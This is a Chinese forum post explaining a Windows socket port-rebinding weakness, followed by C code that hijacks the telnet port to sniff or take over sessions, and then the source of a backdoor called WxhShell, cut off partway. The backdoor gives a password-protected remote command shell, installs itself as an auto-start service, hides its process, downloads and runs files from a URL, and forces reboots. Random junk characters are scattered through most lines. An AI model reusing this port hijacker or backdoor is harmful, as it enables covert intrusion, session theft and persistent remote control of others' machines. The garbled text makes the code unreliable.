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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .k!2{A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sC :.}6  
Y{4nBu  
  saddr.sin_family = AF_INET; #iD`Bg!VXc  
7Z}T!HFMr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KlwB oC/{K  
e<u~v0rDl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fb{HiU9<!  
1[RI 07g7*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vBY?3p,0p  
{ ux'9SA  
  这意味着什么?意味着可以进行如下的攻击: XzBl }4s  
56Lt "Z F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a63Ud<_a7  
01%0u8U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gHWsKE  %  
mI;\ UOh'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NeewV=[%  
W{}M${6&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H,!yG5yF  
K1- 3!G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sa"!ckh  
Ob|tA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xCu\jc)2  
$D*Yhv!/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [XA:pj;rg'  
7zNfq.Ni~  
  #include r8_MIGM'  
  #include \ tU[,3  
  #include ZzT"u1,&  
  #include    (gutDUO;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (. $e@k=  
  int main() yW}x  
  { `my\59T  
  WORD wVersionRequested; HIlTt  
  DWORD ret; |[/XG2S  
  WSADATA wsaData; EhOB+Mc1  
  BOOL val; kL -f@CD  
  SOCKADDR_IN saddr; TPi{c_ ]  
  SOCKADDR_IN scaddr; ]#FQde4]5  
  int err; s*e1m%  
  SOCKET s; ;l@Ge`&u  
  SOCKET sc; <+<,$jGC-  
  int caddsize; v +?'/Q%  
  HANDLE mt; GRgpy  
  DWORD tid;   G|UeR=/  
  wVersionRequested = MAKEWORD( 2, 2 ); pf&SIG  
  err = WSAStartup( wVersionRequested, &wsaData ); 6s:  
  if ( err != 0 ) { [5P1 pkZ  
  printf("error!WSAStartup failed!\n"); 55Ye7P-d  
  return -1; OV7SLf  
  } }~ga86:n0  
  saddr.sin_family = AF_INET;  1W>0  
   RWGAxq`9f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7I:<i$)V  
}pT>dbZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rdy-6  
  saddr.sin_port = htons(23); ~H626vT37  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "A}2iI  
  { 3TT?GgQ  
  printf("error!socket failed!\n"); \r\wqz7  
  return -1; ?Aky!43  
  } S\A9r!2  
  val = TRUE; $w! v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kO8oH8Vt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TI637yqCU  
  { U0dhr;l  
  printf("error!setsockopt failed!\n"); X}]g;|~SN  
  return -1; FzQ6UO~'  
  } Z}r9jM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9Ui|8e~=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .:TSdusr~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BHIC6i%  
q>dERN&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I- WR6s=  
  { x1 1ug  
  ret=GetLastError(); !MD uj  
  printf("error!bind failed!\n"); A!_yZ|)$ T  
  return -1; 20BU;D3  
  } zWq&HBs  
  listen(s,2); ID$%4jl  
  while(1) \7tJ)[0aF  
  { c8qwsp  
  caddsize = sizeof(scaddr); M{`uI8vD  
  //接受连接请求 K55]W2I9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q+^"v]V`d  
  if(sc!=INVALID_SOCKET) h8?E+0  
  { NGuRyZp69&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jH]?vpP  
  if(mt==NULL) JO|xX<#:  
  { %`^{Hh`  
  printf("Thread Creat Failed!\n"); sj%\lq  
  break; hXP'NS`iv  
  } o<i\1<eI  
  } ,V # r  
  CloseHandle(mt); &v&e- |r8;  
  } "I^pb.3  
  closesocket(s); "I&,':O+  
  WSACleanup(); PQ4)kVT  
  return 0; \t']Lf  
  }   bc*CP0t|  
  DWORD WINAPI ClientThread(LPVOID lpParam) #TG.weTC  
  { FK`M+ j  
  SOCKET ss = (SOCKET)lpParam; S1d{! ` 3  
  SOCKET sc; , Y cF~  
  unsigned char buf[4096]; eRvnN>L  
  SOCKADDR_IN saddr; 5,K*IH  
  long num; Q`(.Blgm;  
  DWORD val; V=5v7Y3( j  
  DWORD ret; Qon>[<]B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HT=-mwa_]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2)+ddel<Z  
  saddr.sin_family = AF_INET; bRK[u\,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N#4"P: Sv  
  saddr.sin_port = htons(23); rn%q*_3-o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WRfhxl  
  { 3^p;'7x  
  printf("error!socket failed!\n"); ]ZM-c~nL  
  return -1; |j~{gfpSE  
  } h<IPV'1  
  val = 100; )+ 12r6W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jV|/ C  
  { :,FI 6`  
  ret = GetLastError(); 5vqh09-FB  
  return -1; >Gi* BB  
  } }1pG0V4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #)EVi7UP  
  { j\@osjUu  
  ret = GetLastError(); 'mU7N<Q$qQ  
  return -1; ,L9ioYbp  
  } 9|1J pb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *WZ?C|6+  
  { (eF "[,z  
  printf("error!socket connect failed!\n"); s N|7   
  closesocket(sc); ~<Sb:I zld  
  closesocket(ss); tk,Vp3p  
  return -1; \TTt!"aK  
  } xBK is\b  
  while(1) WxI_wRKx  
  { ]R8JBnA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rQ287y{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g0-J8&?X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p;YS`*!s  
  num = recv(ss,buf,4096,0); tAH0o\1;  
  if(num>0) 2]f?c%)I  
  send(sc,buf,num,0); EiWsVic[  
  else if(num==0) ; `-@L  
  break; k<!xOg  
  num = recv(sc,buf,4096,0); -@yu 9=DT  
  if(num>0) $z*Y:vFP  
  send(ss,buf,num,0); )6 [d'2  
  else if(num==0) #a=~a=c(^  
  break; Z2hIoCT  
  } S|v")6  
  closesocket(ss); {/PiX1mn  
  closesocket(sc); e95@4f^K2  
  return 0 ; 6=i@t tAK  
  } 23~KzC  
+LeM[XX  
x4nmDEpa  
========================================================== R`!'c(V  
^Y- S"Ks  
下边附上一个代码,,WXhSHELL `u7"s'  
a>XlkkX  
========================================================== $3Srr*  
qJf=f3  
#include "stdafx.h" :Vl2\H=P  
;Alw`'  
#include <stdio.h> m03]SF(#3  
#include <string.h> 7z^\}&  
#include <windows.h> t~@~XI5  
#include <winsock2.h> w*7BiZ{s<  
#include <winsvc.h> 0) T`&u3!  
#include <urlmon.h> G tSvb6UNn  
>xJh!w<pB  
#pragma comment (lib, "Ws2_32.lib") w,v~  
#pragma comment (lib, "urlmon.lib") +1Ua`3dWN_  
-P'KpX:]hd  
#define MAX_USER   100 // 最大客户端连接数 i#W0  
#define BUF_SOCK   200 // sock buffer Ua= w;h  
#define KEY_BUFF   255 // 输入 buffer {Wp5Ane  
@#= ail  
#define REBOOT     0   // 重启 wEJ) h1=)^  
#define SHUTDOWN   1   // 关机 VL O !hA#  
+9d]([Lx  
#define DEF_PORT   5000 // 监听端口 5<?s86GHh'  
|'" 17c&  
#define REG_LEN     16   // 注册表键长度 @ATJ|5.gr  
#define SVC_LEN     80   // NT服务名长度 ri?>@i-9=  
uy^vQ/  
// 从dll定义API $^;b 1bnO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &m J +#vT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h8me.=S&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WC<K(PP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j9G1  _  
GN%|'eU  
// wxhshell配置信息 Gcz@z1a=n  
struct WSCFG { 4OOH 3O  
  int ws_port;         // 监听端口 pk,]yi,ZF  
  char ws_passstr[REG_LEN]; // 口令 ,]UCq?YW)T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3Sb'){.MT+  
  char ws_regname[REG_LEN]; // 注册表键名 , e6}p  
  char ws_svcname[REG_LEN]; // 服务名 //_aIp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q7vTTn\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cXY;Tw45  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cun&'JOH?U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7@*l2edXm+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /degBL+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UZ` <D/  
S"wn0B$"  
}; .3 JLa8y  
xOAA1#   
// default Wxhshell configuration ~$\9T.tre2  
struct WSCFG wscfg={DEF_PORT, ;5(ptXX1W  
    "xuhuanlingzhe", 8vL2<VT;  
    1, /PuN+M  
    "Wxhshell", ,m)k;co^  
    "Wxhshell", !QTfQ69Y0  
            "WxhShell Service", sKK*{+,kh;  
    "Wrsky Windows CmdShell Service", =T0;F0@#4  
    "Please Input Your Password: ", ] s))O6^f  
  1, 7eyVm;LQD  
  "http://www.wrsky.com/wxhshell.exe", 6~@S,i1  
  "Wxhshell.exe" fi.[a8w:W  
    }; zj9)vr`7  
/\0 rRT  
// 消息定义模块 ,fa'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;I^+u0ga  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g* & |Eq/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^[]@dk9  
char *msg_ws_ext="\n\rExit."; c4'k-\JvT  
char *msg_ws_end="\n\rQuit."; f1_b``M  
char *msg_ws_boot="\n\rReboot..."; #OT8_D  
char *msg_ws_poff="\n\rShutdown..."; {r,MRZaa  
char *msg_ws_down="\n\rSave to "; !lk -MN.  
:4V8Iz 71  
char *msg_ws_err="\n\rErr!"; %Ct^{k~1  
char *msg_ws_ok="\n\rOK!"; nGqD{!i<  
O ^+H:Y|  
char ExeFile[MAX_PATH]; yD-L:)@"  
int nUser = 0; C=&rPUX{  
HANDLE handles[MAX_USER]; UHh7x%$n  
int OsIsNt; ipThw p9  
BS_ 3|  
SERVICE_STATUS       serviceStatus; AJ0 ;wx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^DW vzfj  
]?#E5(V@x  
// 函数声明 [10y13  
int Install(void); 6|Qg=4_FHt  
int Uninstall(void); s G6ts,={  
int DownloadFile(char *sURL, SOCKET wsh); t(R Jc  
int Boot(int flag); Mt93YD-2+  
void HideProc(void); :~Z -K\  
int GetOsVer(void); }CCTz0[D"  
int Wxhshell(SOCKET wsl); H>qw@JiO!  
void TalkWithClient(void *cs); aGR!T{`   
int CmdShell(SOCKET sock); "nzQ$E>?$  
int StartFromService(void); 9 Y-y?Y  
int StartWxhshell(LPSTR lpCmdLine); J:!m49fF  
p!OCF]r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +p Y*BP+~i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @> ]O6P2  
;;zQVD )X  
// 数据结构和表定义 5S EyAhB  
SERVICE_TABLE_ENTRY DispatchTable[] = m);0sb  
{ iW # |N^  
{wscfg.ws_svcname, NTServiceMain}, +' lj\_n  
{NULL, NULL} rEF0A&5  
}; a^ _ _Z3g,  
:Q=tGj\ G  
// 自我安装 lzE{e6  
int Install(void) 1[g -f ,  
{ ZgzjRa++  
  char svExeFile[MAX_PATH]; WE*L=_zDS  
  HKEY key; /qd5{%:  
  strcpy(svExeFile,ExeFile); h| T_ k  
+'ZJ]  
// 如果是win9x系统,修改注册表设为自启动 >OLKaghV.5  
if(!OsIsNt) { XjRk1 ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Biva{'[m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %lbDcEsf9  
  RegCloseKey(key); A%[ BCY_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s.#%hPX{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hp$/O4fD  
  RegCloseKey(key); .yF@Ow  
  return 0; 5uidi  
    } JoCZ{MhM  
  } Y_gMoo  
} 2:6W_[7l!  
else { :< d.  
I0qS x{K  
// 如果是NT以上系统,安装为系统服务 RnaxRnXVR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J2BCaAwEP,  
if (schSCManager!=0) XsXO S8  
{ i0TbsoKh:  
  SC_HANDLE schService = CreateService (\8~W*ej"  
  ( V4 `  
  schSCManager, ~\oF}7l$  
  wscfg.ws_svcname, XY h)59oM%  
  wscfg.ws_svcdisp, x* 9 Xu"?  
  SERVICE_ALL_ACCESS, 6${=N}3Kw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^vHh*Ub  
  SERVICE_AUTO_START, I""zg^Rq  
  SERVICE_ERROR_NORMAL, ,l47;@kr  
  svExeFile, 6/5Xy69:h  
  NULL, =<;C5kSD  
  NULL, X7g@.Oy`  
  NULL, AL;z's(F?  
  NULL, 0aRHXc2<  
  NULL LJc"T)>$`  
  ); rsaN<6#_^Q  
  if (schService!=0) F4*ssx  
  { 4x)etH^o  
  CloseServiceHandle(schService); 1o8C4?T&  
  CloseServiceHandle(schSCManager); @BmI1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !S3^{l-  
  strcat(svExeFile,wscfg.ws_svcname); "M !]t,?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f'oO/0lx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N8E  
  RegCloseKey(key); v:1DNR4  
  return 0; ]wZlJK`K  
    } {M^BY,%*  
  } [KMNMg  
  CloseServiceHandle(schSCManager); */6lyODf  
} TFAd  
} +e87/\5  
4aGVIQ  
return 1; dHsI<:T#  
} nf0]<x2  
\V_ Tc`  
// 自我卸载 VrIR!9%:  
int Uninstall(void) r6Qsh CA"  
{ ) w1`<7L  
  HKEY key;  Iysp)  
c<a)Yqf"]  
if(!OsIsNt) { *yZ `aKfH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }1#prQ0F  
  RegDeleteValue(key,wscfg.ws_regname); YZ k.{#^c  
  RegCloseKey(key); XkhGU?={  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =G9I7Y@  
  RegDeleteValue(key,wscfg.ws_regname); rk-GQ#SKU  
  RegCloseKey(key); fpa ~~E-  
  return 0; :OFs" bC  
  } FTQNS8  
} mz|p=[lR|  
} j>`-BN_  
else { ~Jh1$O,9o  
3OB=D{$V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aJ"m`5]=%  
if (schSCManager!=0) Fy$f`w_H@  
{ 9Wv}g"KY0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q|g>;_  
  if (schService!=0) 8CUlE-R5  
  { 3oOr*N3R  
  if(DeleteService(schService)!=0) { 6E#znRi6IE  
  CloseServiceHandle(schService); dSI<s^n  
  CloseServiceHandle(schSCManager); we/sv9v}n  
  return 0; Ii&\LJ  
  } RG.wu6Av  
  CloseServiceHandle(schService); ]Zz.n5c  
  } ueyQ&+6r  
  CloseServiceHandle(schSCManager); 2}n7f7[/b  
} \2^o,1r/  
} +'$5Jtz  
SU5O+;{`'  
return 1; X`fb\}~R(  
} ka_(8  
^D76_'{  
// 从指定url下载文件 hS1I ;*t  
int DownloadFile(char *sURL, SOCKET wsh) +ag_w}  
{ !(HPx@_  
  HRESULT hr; bE;c&g  
char seps[]= "/"; )|=4H>?%  
char *token; ek"U q RY  
char *file; }/lyrjV  
char myURL[MAX_PATH]; P-/"sD  
char myFILE[MAX_PATH]; bXi!_'z$  
P~M[i9 V  
strcpy(myURL,sURL); 1,(WS F  
  token=strtok(myURL,seps); +#Wwah$  
  while(token!=NULL) [w90gp1O[  
  { W\2 ']7}e  
    file=token; 7$*X   
  token=strtok(NULL,seps); TwsI8X  
  } y_' 6bpb  
\10KIAQ  
GetCurrentDirectory(MAX_PATH,myFILE); Z(XohWe2  
strcat(myFILE, "\\"); 3 "iBcsLn  
strcat(myFILE, file); "AP$)xM-:  
  send(wsh,myFILE,strlen(myFILE),0); )Dp0swJ  
send(wsh,"...",3,0); B@U'7`v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^=k=;   
  if(hr==S_OK) RGL2S]UFs  
return 0; PthgxB^  
else 4.p:$/GTS  
return 1; D94bq_2}  
BwkY;Ur/AL  
} Wu"1M^a  
g4u 6#.m(  
// 系统电源模块 pMJm@f  
int Boot(int flag) |BUgsE  
{ {- &`@V  
  HANDLE hToken; S=gb y  
  TOKEN_PRIVILEGES tkp; O0FUJGuTS  
wB bCGU  
  if(OsIsNt) { 3RanAT.nu:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pC]XbokES  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Re2&qxE  
    tkp.PrivilegeCount = 1; Qvty;2$o@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  T  5F)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %fnG v\uI  
if(flag==REBOOT) { Y1ks'=c>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SpImd IpD  
  return 0; jfiUf1Mj  
} B 6z 'Q  
else { /Kh,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {-lpYD^k3  
  return 0; ah%Ws#&  
} <DP8a<{{  
  } $ x:N/mMu`  
  else { `8S3Y  
if(flag==REBOOT) { YS#*#!ZMn?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5rmU9L  
  return 0; 14"+ctq  
} $}Ab R:z  
else { Ia< V\$#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )t KS ooW  
  return 0; R+U$;r8l  
} hbg$u$1`,  
} /wax5FS'I,  
KZTLIZxI-  
return 1; ' '(rC38  
} u>]3?ty`  
jo^c>ur  
// win9x进程隐藏模块 |Iwglb!k  
void HideProc(void) |lcp (u*u  
{ O ,9^R  
<=V{tl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FZ?:BX^  
  if ( hKernel != NULL ) ] j8bv3  
  { Xi1|%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `IEA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); haY]gmC  
    FreeLibrary(hKernel); _-lE$ O  
  } =kfa1kD&{  
)|vy}Jf7  
return; s[sv4hq  
} Av?R6  
<zL_6Y2  
// 获取操作系统版本 3LT~- SvL  
int GetOsVer(void) w|6/i/X  
{ q" f65d4c  
  OSVERSIONINFO winfo; vc&v+5Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pY@QR?F\  
  GetVersionEx(&winfo); !6 L!%Oi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1f<R,>  
  return 1; #G.eiqh$a  
  else &92/qRh7  
  return 0; +]nIr'V  
} MqB@}!  
+C8O"  
// 客户端句柄模块 e b} P/  
int Wxhshell(SOCKET wsl) *!ng)3#  
{ Ps>:|j+  
  SOCKET wsh; 9OV@z6  
  struct sockaddr_in client; YR*gO TD  
  DWORD myID; (jA5`4>u  
.wD $Bsm`t  
  while(nUser<MAX_USER) `!/[9Y#Hp  
{ L/[VpD  
  int nSize=sizeof(client); $3 P De  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pa1<=w  
  if(wsh==INVALID_SOCKET) return 1; 5E-;4o;RI(  
M2|!,2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (^35cj{s  
if(handles[nUser]==0) AU3Rz&~  
  closesocket(wsh); [B# XA}w  
else 9zb1t1[ W  
  nUser++; mmbe.$73  
  } )\#*~73  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h@Ea5x  
mpug#i6q  
  return 0; @b,H'WvhfS  
} E<Zf!!3  
jkx>o?s)z  
// 关闭 socket X2@Ef2EkM  
void CloseIt(SOCKET wsh) &F uPd}F  
{ aL4^ po  
closesocket(wsh); rP3tFvOH  
nUser--; &U7v=a  
ExitThread(0); 88~Nrl=co  
} ;ND$4$  
X7huc*  
// 客户端请求句柄 $C;i}q#  
void TalkWithClient(void *cs) b^Z2Vf:k]  
{ G;}WZy  
hHN[K  
  SOCKET wsh=(SOCKET)cs; m2\\!C]f  
  char pwd[SVC_LEN]; 'RV96lX<  
  char cmd[KEY_BUFF]; =S`h/fru  
char chr[1]; Ohk\P;}  
int i,j; <rj'xv  
7DJEx~"!2-  
  while (nUser < MAX_USER) { 5[Vr {^)  
SK\@w9#&$  
if(wscfg.ws_passstr) { @  W>@6E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (vO3vCYeQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]]PNYa  
  //ZeroMemory(pwd,KEY_BUFF); 7b[s W|{  
      i=0; N:)x67,  
  while(i<SVC_LEN) { EL$DvJ~  
<#h,_WP*  
  // 设置超时 z3uR1vF'  
  fd_set FdRead; ZPmqoR[  
  struct timeval TimeOut; C P}fxDW  
  FD_ZERO(&FdRead); A7Ql%$v7^  
  FD_SET(wsh,&FdRead); ICN>kJ\;M  
  TimeOut.tv_sec=8; q*UHzE:LI  
  TimeOut.tv_usec=0; bW6| &P}X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~i"=:D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F<,pAxl~@  
3p=Xv%xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E:x@O8F  
  pwd=chr[0]; k9}8xpH  
  if(chr[0]==0xd || chr[0]==0xa) { %=UD~5!G0  
  pwd=0; N.JR($N$  
  break; ?>h ~"D#  
  } ChTq!W  
  i++; Iw`tb N L[  
    } .D 4G;=Q  
x"Ky_P~  
  // 如果是非法用户,关闭 socket 8M*+ |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~a ([e\~  
} ed,A'S= d  
T/3LJGnY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vTK%4=|1}!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }ssV"5M  
#"N60T@  
while(1) { $pES>>P  
LL#REK|lm8  
  ZeroMemory(cmd,KEY_BUFF); &u2;S?7m  
,p d -hu  
      // 自动支持客户端 telnet标准   GQtNk<?$I  
  j=0; i!%bz  
  while(j<KEY_BUFF) { uvbVb"\"Yk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P\j\p =  
  cmd[j]=chr[0]; =y][j+WH  
  if(chr[0]==0xa || chr[0]==0xd) { }=/zG!+  
  cmd[j]=0; @:}c(j  
  break; y|6n:<o  
  }  O`@Nl  
  j++; Fa%1] R  
    } lnyb4d/  
irAXXg  
  // 下载文件 0F|t@?S  
  if(strstr(cmd,"http://")) { Kyh>O)"G^%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !zX() V  
  if(DownloadFile(cmd,wsh)) MT-Tt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@u7Oel@m  
  else ]Lub.r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }3{eVct#|  
  } m.K cTM%j  
  else { 9r?Z'~,Za  
bTum|GWf  
    switch(cmd[0]) { #dZs[R7h  
  1C<cwd;9  
  // 帮助 Te-p0x?G.  
  case '?': { n5$#M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4H#-2LV`  
    break; x(Bt[=,K3  
  } ZM.'W}J{ *  
  // 安装 Z=]SAK`  
  case 'i': { ;ek*2Lh  
    if(Install()) 3(WijtH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +HS]kFH  
    else eN=jWUoCh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3YvKHn|V"  
    break; 9hA`I tS  
    } hp~q!Q1=  
  // 卸载 B]X8KzLu  
  case 'r': { I\Op/`_=E  
    if(Uninstall()) Gm|-[iUTG]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]=~dyi  
    else OS z71;j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cyCh^- <l@  
    break; e$~[\ w  
    } wo@ T@Ve~  
  // 显示 wxhshell 所在路径 OD8 fn  
  case 'p': { aFTWzz  
    char svExeFile[MAX_PATH]; Zonjk%tC  
    strcpy(svExeFile,"\n\r"); ;QBS0x\f@  
      strcat(svExeFile,ExeFile); : "85w#r  
        send(wsh,svExeFile,strlen(svExeFile),0); s)E  \  
    break; }X)vktE+|  
    } 296}LW  
  // 重启 sycAAmH<  
  case 'b': { yqx5_}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `;UWq{"  
    if(Boot(REBOOT))  pQiC#4b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/ljH_-  
    else { -ZaeX]^&Q\  
    closesocket(wsh); @ZJL]TO  
    ExitThread(0); ?4b0\ -  
    } -Uo11'{  
    break; FP=B/!g  
    } c]^P$F8U  
  // 关机 .ck?JXg  
  case 'd': { !l%:   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sT)>Vdwf_  
